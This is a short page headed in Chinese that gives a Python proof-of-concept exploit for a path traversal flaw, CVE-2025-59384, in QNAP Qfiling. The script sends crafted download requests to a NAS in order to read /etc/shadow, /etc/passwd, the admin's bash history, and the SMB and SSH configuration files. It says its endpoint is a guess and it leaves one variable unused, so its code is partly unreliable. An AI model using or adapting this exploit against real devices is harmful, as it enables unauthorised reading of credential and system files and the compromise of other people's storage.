CVE-2025-59384 QNAP Qfiling路径遍历漏洞

import requests import urllib.parse # CVE-2025-59384 PoC - QNAP Qfiling Path Traversal # Target: QNAP NAS with Qfiling < 3.13.1 def exploit_qfiling_path_traversal(target_ip, target_port=8080): """ Exploit for CVE-2025-59384: QNAP Qfiling Path Traversal Vulnerability This PoC demonstrates reading sensitive files from the NAS system. """ # Target URL for Qfiling file download endpoint base_url = f"http://{target_ip}:{target_port}" # Sensitive files to attempt reading sensitive_files = [ "../../etc/passwd", "../../etc/shadow", "../../home/admin/.bash_history", "../../etc/config/smb.conf", "../../etc/config/sshd_config" ] for file_path in sensitive_files: try: # Encode the path traversal sequence encoded_path = urllib.parse.quote(file_path) # Construct the malicious request # Adjust the endpoint based on actual Qfiling API url = f"{base_url}/cgi-bin/qfiling/download.cgi" params = { "file": file_path } headers = { "User-Agent": "Mozilla/5.0", "Accept": "*/*" } # Send the exploit request response = requests.get(url, params=params, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Success! Retrieved: {file_path}") print(f"Content:\n{response.text[:500]}") else: print(f"[-] Failed to retrieve: {file_path} (Status: {response.status_code})") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {file_path}: {str(e)}") if __name__ == "__main__": # Replace with target IP target = "192.168.1.100" exploit_qfiling_path_traversal(target)